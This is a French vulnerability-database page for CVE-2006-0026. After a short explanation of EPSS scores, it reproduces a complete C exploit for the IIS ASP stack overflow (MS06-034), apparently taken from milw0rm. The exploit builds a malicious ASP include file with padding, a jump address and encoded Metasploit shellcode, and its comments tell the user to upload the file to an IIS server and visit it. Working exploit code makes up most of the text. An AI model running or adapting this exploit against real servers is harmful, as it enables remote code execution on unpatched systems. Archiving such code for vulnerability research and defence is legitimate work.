CVE-2006-0026 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

#include <stdio.h> #include <windows.h> /*********************************************************************** Microsoft IIS ASP Stack Overflow Exploit(MS06-034) by cocoruder(frankruder_at_hotmail.com),2006/7/13 page:http://ruder.cdut.net/default.asp successfully test on Windows 2000 Server SP4+IIS5.0, On Windows 2003 Server+IIS6.0,because the new SEH protection mechanisms, you should set the new fs:[0]->hander flexibility,this need some luck. usage: upload the "exploit2000.asp" to IIS web directory,use web browser to visit it,then the shellcode will execute. ************************************************************************/ //include asp filename length=10ch>104h unsigned char asp_include_header[]= "<!--#include file=\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.asp\"-->"; //jmp 8 unsigned char code_jmp8[]= "\xEB\x06\x90\x90"; //jmp ebx address unsigned char addr_jmp_ebx[]= "\x66\x4A\xE6\x77"; // shellcode !! Must be free of Unicode null terminators (0x0000) !! // win32_exec - EXITFUNC=process CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com unsigned char shellcode[]= "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34" "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41" "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34" "\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x48\x4e\x47" "\x45\x30\x4a\x37\x41\x30\x4f\x4e\x4b\x38\x4f\x34\x4a\x51\x4b\x48" "\x4f\x55\x42\x42\x41\x30\x4b\x4e\x49\x44\x4b\x58\x46\x43\x4b\x58" "\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x59\x4e\x4a\x46\x48\x42\x4c" "\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e" "\x46\x4f\x4b\x43\x46\x45\x46\x42\x46\x50\x45\x37\x45\x4e\x4b\x38" "\x4f\x45\x46\x42\x41\x50\x4b\x4e\x48\x36\x4b\x58\x4e\x30\x4b\x54" "\x4b\x38\x4f\x35\x4e\x51\x41\x50\x4b\x4e\x4b\x48\x4e\x41\x4b\x48" "\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x42\x46\x50\x43\x4c\x41\x53" "\x42\x4c\x46\x36\x4b\x58\x42\x54\x42\x53\x45\x48\x42\x4c\x4a\x37" "\x4e\x30\x4b\x48\x42\x34\x4e\x50\x4b\x58\x42\x57\x4e\x51\x4d\x4a" "\x4b\x48\x4a\x46\x4a\x50\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b" "\x42\x30\x42\x50\x42\x30\x4b\x38\x4a\x56\x4e\x43\x4f\x35\x41\x53" "\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x37" "\x42\x35\x4a\x36\x50\x47\x4a\x4d\x44\x4e\x43\x47\x4a\x36\x4a\x49" "\x50\x4f\x4c\x48\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46" "\x4e\x46\x43\x46\x42\x30\x5a"; void main(void) { FILE *fp=NULL; int i; printf("[+] Creating file...exploit.asp\n"); if ((fp=fopen("exploit2000.asp","wb"))==NULL) { printf("fopen error!\n"); return; } fwrite(asp_include_header,sizeof(asp_include_header)-1,1,fp); //fill for (i=0;i<0x135;i++) { fwrite("\x41",1,1,fp); } fwrite(code_jmp8,4,1,fp); fwrite(addr_jmp_ebx,4,1,fp); fwrite(shellcode,sizeof(shellcode)-1,1,fp); //fill for (i=0;i<0x1500;i++) { fwrite("\x41",1,1,fp); } fclose(fp); printf("[+] Exploit file has been successfully built.\n"); } # milw0rm.com [2006-07-21]